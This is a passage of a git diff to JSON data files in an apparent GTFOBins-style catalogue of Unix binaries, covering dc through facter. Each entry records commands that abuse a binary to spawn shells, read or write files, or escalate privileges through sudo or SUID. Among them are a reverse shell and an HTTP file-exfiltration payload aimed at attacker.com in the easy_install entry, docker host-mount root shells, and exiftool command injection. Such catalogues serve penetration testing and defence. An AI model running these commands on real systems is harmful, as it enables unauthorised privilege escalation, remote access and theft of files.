+ "code": "./dc -e '!/bin/sh'\n" + } + ] + } +} diff --git a/gtfo/data/dd.json b/gtfo/data/dd.json index 73c7b9f..91d15a6 100644 --- a/gtfo/data/dd.json +++ b/gtfo/data/dd.json @@ -2,23 +2,27 @@ "functions": { "file-write": [ { - "code": "echo \"DATA\" | dd of=[file]\n" + + "code": "LFILE=file_to_write\necho \"DATA\" | dd of=$LFILE\n" } ], "file-read": [ { - "code": "dd if=[file]\n" + + "code": "LFILE=file_to_read\ndd if=$LFILE\n" } ], "suid": [ { - "code": "echo \"DATA\" | ./dd of=[file]\n" + + "code": "LFILE=file_to_write\necho \"data\" | ./dd of=$LFILE\n" } ], "sudo": [ { - "code": "echo \"DATA\" | sudo dd of=[file]\n" + + "code": "LFILE=file_to_write\necho \"data\" | sudo dd of=$LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/debugfs.json b/gtfo/data/debugfs.json new file mode 100644 index 0000000..0828ae8 --- /dev/null +++ b/gtfo/data/debugfs.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "debugfs\n!/bin/sh\n" + } + ], + "suid": [ + { + + "code": "./debugfs\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo debugfs\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/dhclient.json b/gtfo/data/dhclient.json new file mode 100644 index 0000000..5f30f83 --- /dev/null +++ b/gtfo/data/dhclient.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`.", + "code": "cat > /tmp/script.sh << EOF\n#!/bin/bash\nbash -i\nEOF\nchmod +x /tmp/script.sh\nsudo dhclient -sf /tmp/script.sh\n" + } + ] + } +} diff --git a/gtfo/data/dialog.json b/gtfo/data/dialog.json index 89bdd37..6a2f3d9 100644 --- a/gtfo/data/dialog.json +++ b/gtfo/data/dialog.json @@ -1,20 +1,22 @@ { - "description": "The file is shown in an interactive TUI dialog, thus it is not suitable for binary/too big data.", "functions": { "file-read": [ { - "code": "dialog --textbox \"[file]\" 0 0\n" + + "code": "LFILE=file_to_read\ndialog --textbox \"$LFILE\" 0 0\n" } ], "suid": [ { - "code": "./dialog --textbox \"[file]\" 0 0\n" + + "code": "LFILE=file_to_read\n./dialog --textbox \"$LFILE\" 0 0\n" } ], "sudo": [ { - "code": "sudo dialog --textbox \"[file]\" 0 0\n" + + "code": "LFILE=file_to_read\nsudo dialog --textbox \"$LFILE\" 0 0\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/diff.json b/gtfo/data/diff.json index 9037d0c..4644fec 100644 --- a/gtfo/data/diff.json +++ b/gtfo/data/diff.json @@ -2,18 +2,25 @@ "functions": { "file-read": [ { - "code": "diff --line-format=%L /dev/null [file]\n" + + "code": "LFILE=file_to_read\ndiff --line-format=%L /dev/null $LFILE\n" + }, + { + "description": "This lists the content of a directory. `$TF` can be any directory, but for convenience it is better to use an empty directory to avoid noise output.", + "code": "LFOLDER=folder_to_list\nTF=$(mktemp -d)\ndiff --recursive $TF $LFOLDER\n" } ], "suid": [ { - "code": "./diff --line-format=%L /dev/null [file]\n" + + "code": "LFILE=file_to_read\n./diff --line-format=%L /dev/null $LFILE\n" } ], "sudo": [ { - "code": "sudo diff --line-format=%L /dev/null [file]\n" + + "code": "LFILE=file_to_read\nsudo diff --line-format=%L /dev/null $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dig.json b/gtfo/data/dig.json index 744c814..82c01a5 100644 --- a/gtfo/data/dig.json +++ b/gtfo/data/dig.json @@ -1,19 +1,21 @@ { - "description": "Each input line is treated as a lookup query for the 'dig' command and the output is corrupted with the result or errors of the operation, so this may not be suitable for binary files. Grepping for 'DiG' might help to filter out unwanted content.", "functions": { "file-read": [ { - "code": "dig -f [file]\n" + + "code": "LFILE=file_to_read\ndig -f $LFILE\n" } ], "sudo": [ { - "code": "sudo dig -f [file]\n" + + "code": "LFILE=file_to_read\nsudo dig -f $LFILE\n" } ], "suid": [ { - "code": "./dig -f [file]\n" + + "code": "LFILE=file_to_read\n./dig -f $LFILE\n" } ] } diff --git a/gtfo/data/distcc.json b/gtfo/data/distcc.json new file mode 100644 index 0000000..306031c --- /dev/null +++ b/gtfo/data/distcc.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "distcc /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./distcc /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo distcc /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/dmesg.json b/gtfo/data/dmesg.json index f18ad91..4f8bf31 100644 --- a/gtfo/data/dmesg.json +++ b/gtfo/data/dmesg.json @@ -3,20 +3,20 @@ "file-read": [ { "description": "This is not suitable for binary files.", - "code": "dmesg -rF \"[file]\"\n" + "code": "LFILE=file_to_read\ndmesg -rF \"$LFILE\"\n" } ], "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "dmesg -H\n!/bin/sh\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo dmesg -H\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dmidecode.json b/gtfo/data/dmidecode.json new file mode 100644 index 0000000..5542438 --- /dev/null +++ b/gtfo/data/dmidecode.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.\nGenerate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.\n\n- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.\n\n- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.\n\n```\nmake dmiwrite\nTF=$(mktemp)\necho \"DATA\" > $TF\n./dmiwrite $TF x.dmi\n```\n", + "code": "LFILE=file_to_write\nsudo dmidecode --no-sysfs -d x.dmi --dump-bin \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/dmsetup.json b/gtfo/data/dmsetup.json index f9cde50..a210d85 100644 --- a/gtfo/data/dmsetup.json +++ b/gtfo/data/dmsetup.json @@ -2,13 +2,15 @@ "functions": { "sudo": [ { + "code": "sudo dmsetup create base < $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```", - "code": "sudo dnf install -y x-1.0-1.noarch.rpm\n" + "description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n", + "code": "sudo dnf install -y x-1.0-1.noarch.rpm --disablerepo=*\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dnsmasq.json b/gtfo/data/dnsmasq.json new file mode 100644 index 0000000..8b1baef --- /dev/null +++ b/gtfo/data/dnsmasq.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "dnsmasq --conf-script=./script.sh\n" + } + ] + } +} diff --git a/gtfo/data/doas.json b/gtfo/data/doas.json new file mode 100644 index 0000000..46dfafe --- /dev/null +++ b/gtfo/data/doas.json @@ -0,0 +1,10 @@ +{ + "functions": { + "suid": [ + { + "description": "Spawn root shell with vi/vim.", + "code": "./doas -u root vi\n" + } + ] + } +} diff --git a/gtfo/data/docker.json b/gtfo/data/docker.json index ffce476..e91b2f3 100644 --- a/gtfo/data/docker.json +++ b/gtfo/data/docker.json @@ -1,16 +1,15 @@ { - "description": "This requires the user to be privileged enough to run docker, i.e. being in the 'docker' group or being 'root'. Any other Docker Linux image should work, e.g., 'debian'.", "functions": { "shell": [ { "description": "The resulting is a root shell.", - "code": "docker run -v /:/mnt --rm -it alpine chroot /mnt sh" + "code": "docker run -v /:/mnt --rm -it alpine chroot /mnt sh\n" } ], "file-write": [ { "description": "Write a file by copying it to a temporary container and back to the target destination on the host.", - "code": "CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\necho \"DATA\" > $TF\ndocker cp $TF $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF [file]\n" + "code": "CONTAINER_ID=\"$(docker run -d alpine)\" # or existing\nTF=$(mktemp)\necho \"DATA\" > $TF\ndocker cp $TF $CONTAINER_ID:$TF\ndocker cp $CONTAINER_ID:$TF file_to_write\n" } ], "file-read": [ @@ -22,14 +21,18 @@ "sudo": [ { "description": "The resulting is a root shell.", - "code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh" + "code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh\n" + }, + { + "description": "Using `docker exec` with `--privileged` flag allows to mount the host filesystem, thereby obtaining unrestricted read/write access to the host.", + "code": "CONTAINER_ID=id_of_container\nsudo docker exec -it --privileged --user root $CONTAINER_ID bash\nmount /dev/sda1 /mnt/\n" } ], "suid": [ { "description": "The resulting is a root shell.", - "code": "./docker run -v /:/mnt --rm -it alpine chroot /mnt sh" + "code": "./docker run -v /:/mnt --rm -it alpine chroot /mnt sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dos2unix.json b/gtfo/data/dos2unix.json new file mode 100644 index 0000000..4a6b31d --- /dev/null +++ b/gtfo/data/dos2unix.json @@ -0,0 +1,10 @@ +{ + "functions": { + "file-write": [ + { + + "code": "LFILE1=file_to_read\nLFILE2=file_to_write\ndos2unix -f -n \"$LFILE1\" \"$LFILE2\"\n" + } + ] + } +} diff --git a/gtfo/data/dosbox.json b/gtfo/data/dosbox.json new file mode 100644 index 0000000..013a720 --- /dev/null +++ b/gtfo/data/dosbox.json @@ -0,0 +1,32 @@ +{ + "functions": { + "file-read": [ + { + "description": "The file content will be displayed in the DOSBox graphical window.", + "code": "LFILE='\\path\\to\\file_to_read'\ndosbox -c 'mount c /' -c \"type c:$LFILE\"\n" + }, + { + "description": "The file is copied to a readable location.", + "code": "LFILE='\\path\\to\\file_to_read'\ndosbox -c 'mount c /' -c \"copy c:$LFILE c:\\tmp\\output\" -c exit\ncat '/tmp/OUTPUT'\n" + } + ], + "file-write": [ + { + "description": "Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.", + "code": "LFILE='\\path\\to\\file_to_write'\ndosbox -c 'mount c /' -c \"echo DATA >c:$LFILE\" -c exit\n" + } + ], + "suid": [ + { + "description": "Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.", + "code": "LFILE='\\path\\to\\file_to_write'\n./dosbox -c 'mount c /' -c \"echo DATA >c:$LFILE\" -c exit\n" + } + ], + "sudo": [ + { + "description": "Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.", + "code": "LFILE='\\path\\to\\file_to_write'\nsudo dosbox -c 'mount c /' -c \"echo DATA >c:$LFILE\" -c exit\n" + } + ] + } +} diff --git a/gtfo/data/dotnet.json b/gtfo/data/dotnet.json new file mode 100644 index 0000000..480893a --- /dev/null +++ b/gtfo/data/dotnet.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;\n" + } + ], + "file-read": [ + { + + "code": "export LFILE=file_to_read\ndotnet fsi\nSystem.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable(\"LFILE\"));;\n" + } + ], + "sudo": [ + { + + "code": "sudo dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;\n" + } + ] + } +} diff --git a/gtfo/data/dpkg.json b/gtfo/data/dpkg.json index 2c42cec..6ea477c 100644 --- a/gtfo/data/dpkg.json +++ b/gtfo/data/dpkg.json @@ -2,19 +2,19 @@ "functions": { "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "dpkg -l\n!/bin/sh\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo dpkg -l\n!/bin/sh\n" }, { - "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with https://github.com/jordansissel/fpm and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```", - "code": "sudo dpkg -i x_1.0_all.deb" + "description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n", + "code": "sudo dpkg -i x_1.0_all.deb\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dstat.json b/gtfo/data/dstat.json new file mode 100644 index 0000000..d6bd268 --- /dev/null +++ b/gtfo/data/dstat.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "mkdir -p ~/.dstat\necho 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >~/.dstat/dstat_xxx.py\ndstat --xxx\n" + } + ], + "sudo": [ + { + + "code": "echo 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >/usr/local/share/dstat/dstat_xxx.py\nsudo dstat --xxx\n" + } + ] + } +} diff --git a/gtfo/data/dvips.json b/gtfo/data/dvips.json index 4e890f4..17b3d11 100644 --- a/gtfo/data/dvips.json +++ b/gtfo/data/dvips.json @@ -1,18 +1,20 @@ { - "description": "The 'texput.dvi' output file produced by 'tex' can be created offline and uploaded to the target.", "functions": { "shell": [ { + "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\ndvips -R0 texput.dvi\n" } ], "sudo": [ { + "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n" } ], "limited-suid": [ { + "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\n./dvips -R0 texput.dvi\n" } ] diff --git a/gtfo/data/easy_install.json b/gtfo/data/easy_install.json index 2425db3..0190aab 100644 --- a/gtfo/data/easy_install.json +++ b/gtfo/data/easy_install.json @@ -2,52 +2,55 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\neasy_install $TF\n" } ], "reverse-shell": [ { - "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "TF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\neasy_install $TF\n" + "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nTF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\neasy_install $TF\n" } ], "file-upload": [ { - "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. The file path must be absolute.", - "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))' > $TF/setup.py\neasy_install $TF\n" + "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))' > $TF/setup.py\neasy_install $TF\n" }, { - "description": "Serve files in the local folder running an HTTP server. ", - "code": "TF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\neasy_install $TF\n" + "description": "Serve files in the local folder running an HTTP server.", + "code": "export LPORT=8888\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\neasy_install $TF\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request. The file path must be absolute.", - "code": "TF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', '$(whereis python)', '-c', \\\"\\\"\\\"import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve('[url]', '[file]')\\\"\\\"\\\")\" > $TF/setup.py\npip install $TF\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', '$(whereis python)', '-c', \\\"\\\"\\\"import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve('$URL', '$LFILE')\\\"\\\"\\\")\" > $TF/setup.py\npip install $TF\n" } ], "file-write": [ { "description": "The file path must be absolute.", - "code": "TF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', 'python', '-c', 'open(\\\"[file]\\\",\\\"w+\\\").write(\\\"DATA\\\")')\" > $TF/setup.py\neasy_install $TF\n" + "code": "export LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho \"import os;\nos.execl('$(whereis python)', 'python', '-c', 'open(\\\"$LFILE\\\",\\\"w+\\\").write(\\\"DATA\\\")')\" > $TF/setup.py\neasy_install $TF\n" } ], "file-read": [ { - "description": "The read file content is wrapped within program messages. The file path must be absolute.", - "code": "TF=$(mktemp -d)\necho 'print(open(\"[file]\").read())' > $TF/setup.py\neasy_install $TF\n" + "description": "The read file content is wrapped within program messages.", + "code": "TF=$(mktemp -d)\necho 'print(open(\"file_to_read\").read())' > $TF/setup.py\neasy_install $TF\n" } ], "library-load": [ { + "code": "TF=$(mktemp -d)\necho 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' > $TF/setup.py\neasy_install $TF\n" } ], "sudo": [ { + "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/eb.json b/gtfo/data/eb.json index 50bf90e..1f47da3 100644 --- a/gtfo/data/eb.json +++ b/gtfo/data/eb.json @@ -1,15 +1,16 @@ { - "description": "This invokes the default logging service, which is likely to be 'journalctl', other functions may apply. For this to work the target must be connected to AWS instance via EB-CLI.", "functions": { "shell": [ { + "code": "eb logs\n!/bin/sh\n" } ], "sudo": [ { + "code": "sudo eb logs\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/ed.json b/gtfo/data/ed.json index 3638ba2..e301583 100644 --- a/gtfo/data/ed.json +++ b/gtfo/data/ed.json @@ -2,31 +2,37 @@ "functions": { "shell": [ { + "code": "ed\n!/bin/sh\n" } ], "file-write": [ { - "code": "ed [file]\na\nDATA\n.\nw\nq\n" + + "code": "ed file_to_write\na\nDATA\n.\nw\nq\n" } ], "file-read": [ { - "code": "ed [file]\n,p\nq\n" + + "code": "ed file_to_read\n,p\nq\n" } ], "suid": [ { - "code": "./ed [file]\n,p\nq\n" + + "code": "./ed file_to_read\n,p\nq\n" } ], "sudo": [ { + "code": "sudo ed\n!/bin/sh\n" } ], "limited-suid": [ { + "code": "./ed\n!/bin/sh\n" } ] diff --git a/gtfo/data/efax.json b/gtfo/data/efax.json new file mode 100644 index 0000000..a702b16 --- /dev/null +++ b/gtfo/data/efax.json @@ -0,0 +1,16 @@ +{ + "functions": { + "suid": [ + { + + "code": "LFILE=file_to_read\n./efax -d \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo efax -d \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/elvish.json b/gtfo/data/elvish.json new file mode 100644 index 0000000..727abd8 --- /dev/null +++ b/gtfo/data/elvish.json @@ -0,0 +1,34 @@ +{ + "functions": { + "file-read": [ + { + + "code": "export LFILE=file_to_read\nelvish -c 'echo (slurp <$E:LFILE)'\n" + } + ], + "file-write": [ + { + + "code": "export LFILE=file_to_write\nelvish -c 'echo DATA >$E:LFILE'\n" + } + ], + "shell": [ + { + + "code": "elvish\n" + } + ], + "suid": [ + { + + "code": "./elvish\n" + } + ], + "sudo": [ + { + + "code": "sudo elvish\n" + } + ] + } +} diff --git a/gtfo/data/emacs.json b/gtfo/data/emacs.json index bba8a93..6b7c895 100644 --- a/gtfo/data/emacs.json +++ b/gtfo/data/emacs.json @@ -2,28 +2,33 @@ "functions": { "shell": [ { - "code": "emacs -Q -nw --eval '(term \"/bin/sh\")'" + + "code": "emacs -Q -nw --eval '(term \"/bin/sh\")'\n" } ], "file-write": [ { - "code": "emacs [file]\nDATA\nC-x C-s\n" + + "code": "emacs file_to_write\nDATA\nC-x C-s\n" } ], "file-read": [ { - "code": "emacs [file]" + + "code": "emacs file_to_read\n" } ], "suid": [ { - "code": "./emacs -Q -nw --eval '(term \"/bin/sh -p\")'" + + "code": "./emacs -Q -nw --eval '(term \"/bin/sh -p\")'\n" } ], "sudo": [ { - "code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'" + + "code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/enscript.json b/gtfo/data/enscript.json new file mode 100644 index 0000000..77b2845 --- /dev/null +++ b/gtfo/data/enscript.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "enscript /dev/null -qo /dev/null -I '/bin/sh >&2'\n" + } + ], + "sudo": [ + { + + "code": "sudo enscript /dev/null -qo /dev/null -I '/bin/sh >&2'\n" + } + ] + } +} diff --git a/gtfo/data/env.json b/gtfo/data/env.json index 8aff973..0f84969 100644 --- a/gtfo/data/env.json +++ b/gtfo/data/env.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "env /bin/sh" + + "code": "env /bin/sh\n" } ], "suid": [ { - "code": "./env /bin/sh -p" + + "code": "./env /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo env /bin/sh" + + "code": "sudo env /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/eqn.json b/gtfo/data/eqn.json index 95b2a2e..6640354 100644 --- a/gtfo/data/eqn.json +++ b/gtfo/data/eqn.json @@ -1,20 +1,22 @@ { - "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.", "functions": { "file-read": [ { - "code": "eqn \"[file]\"\n" + + "code": "LFILE=file_to_read\neqn \"$LFILE\"\n" } ], "suid": [ { - "code": "./eqn \"[file]\"\n" + + "code": "LFILE=file_to_read\n./eqn \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo eqn \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo eqn \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/espeak.json b/gtfo/data/espeak.json new file mode 100644 index 0000000..57eac4e --- /dev/null +++ b/gtfo/data/espeak.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nespeak -qXf \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./espeak -qXf \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo espeak -qXf \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/ex.json b/gtfo/data/ex.json index 040c4e1..a9a1d6e 100644 --- a/gtfo/data/ex.json +++ b/gtfo/data/ex.json @@ -1,24 +1,32 @@ { - "functions": { - "shell": [ - { - "code": "ex\n!/bin/sh\n" - } - ], - "file-write": [ - { - "code": "ex [file]\na\nDATA\n.\nw\nq\n" - } - ], - "file-read": [ - { - "code": "ex [file]\n,p\nq\n" - } - ], - "sudo": [ - { - "code": "sudo ex\n!/bin/sh\n" - } - ] - } + "functions": { + "shell": [ + { + + "code": "ex\n!/bin/sh\n" + } + ], + "file-write": [ + { + + "code": "ex file_to_write\na\nDATA\n.\nw\nq\n" + } + ], + "file-read": [ + { + + "code": "ex file_to_read\n,p\nq\n" + } + ], + "sudo": [ + { + + "code": "sudo ex\n!/bin/sh\n" + }, + { + "description": "", + "code": "sudo ex -c ':!/bin/sh'\n" + } + ] } +} diff --git a/gtfo/data/exiftool.json b/gtfo/data/exiftool.json index 057f05b..927d0d2 100644 --- a/gtfo/data/exiftool.json +++ b/gtfo/data/exiftool.json @@ -1,19 +1,41 @@ { - "description": "If the permissions allow it, files are moved (instead of copied) to the destination.\n", + "description": "If the permissions allow it, files are moved (instead of copied) to the destination.", "functions": { "file-read": [ { - "code": "exiftool -filename=[output] [file]\ncat [output]\n" + "code": "LFILE=file_to_read\nOUTPUT=output_file\nexiftool -filename=$OUTPUT $LFILE\ncat $OUTPUT" + }, + { + "description": "Exfiltrate file data via metadata tags", + "code": "LFILE=file_read\nINPUT=input_file\nexiftool \"-description<=$LFILE\" --filename $INPUT" } ], "file-write": [ { - "code": "exiftool -filename=[file] [input]\n" + "code": "LFILE=file_to_write\nINPUT=input_file\nexiftool -filename=$LFILE $INPUT" + }, + { + "description": "Write file from metadata tag's content", + "code": "LFILE=file_to_write\nINPUT=input_file\nexiftool -description -W $LFILE --filename $INPUT" } ], "sudo": [ { - "code": "sudo exiftool -filename=[file] [input]\n" + "code": "LFILE=file_to_write\nINPUT=input_file\nsudo exiftool -filename=$LFILE $INPUT" + } + ], + "command": [ + { + "code": "COMMAND=command_to_execute\nINPUT=input_file\nexiftool -if \"system('$COMMAND');1\" --filename $INPUT" + }, + { + "description": "Run system command and exfiltrate result via metadata tags", + "code": "COMMAND=command_to_execute\nINPUT=input_file\nexiftool -userparam \"inj=Test\" -if \"\\$\\$self{OPTIONS}{UserParam}{inj}=\\`$COMMAND\\`;1\" '-description<$inj' --filename $INPUT" + } + ], + "shell": [ + { + "code": "INPUT=input_file\nexiftool -if \"system('bash')\" $INPUT" } ] } diff --git a/gtfo/data/expand.json b/gtfo/data/expand.json index 8289eab..ea518e4 100644 --- a/gtfo/data/expand.json +++ b/gtfo/data/expand.json @@ -1,20 +1,22 @@ { - "description": "The read file content is corrupted by replacing tabs with spaces.", "functions": { "file-read": [ { - "code": "expand \"[file]\"\n" + + "code": "LFILE=file_to_read\nexpand \"$LFILE\"\n" } ], "suid": [ { - "code": "./expand \"[file]\"\n" + + "code": "LFILE=file_to_read\n./expand \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo expand \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo expand \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/expect.json b/gtfo/data/expect.json index aba4e49..d11cc91 100644 --- a/gtfo/data/expect.json +++ b/gtfo/data/expect.json @@ -1,19 +1,28 @@ { "functions": { + "file-read": [ + { + "description": "The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. Thus, this might not be suitable to read arbitrary binary files.", + "code": "LFILE=file_to_read\nexpect $LFILE\n" + } + ], "shell": [ { - "code": "expect -c 'spawn /bin/sh;interact'" + + "code": "expect -c 'spawn /bin/sh;interact'\n" } ], "suid": [ { - "code": "./expect -c 'spawn /bin/sh -p;interact'" + + "code": "./expect -c 'spawn /bin/sh -p;interact'\n" } ], "sudo": [ { - "code": "sudo expect -c 'spawn /bin/sh;interact'" + + "code": "sudo expect -c 'spawn /bin/sh;interact'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/facter.json b/gtfo/data/facter.json index fff812a..c97d99e 100644 --- a/gtfo/data/facter.json +++ b/gtfo/data/facter.json @@ -2,13 +2,15 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nFACTERLIB=$TF facter\n" } ], "sudo": [ { - "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo FACTERLIB=$TF facter\n" + + "code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo facter --custom-dir=$TF x\n" } ] } -} \ No newline at end of file +} diff --git 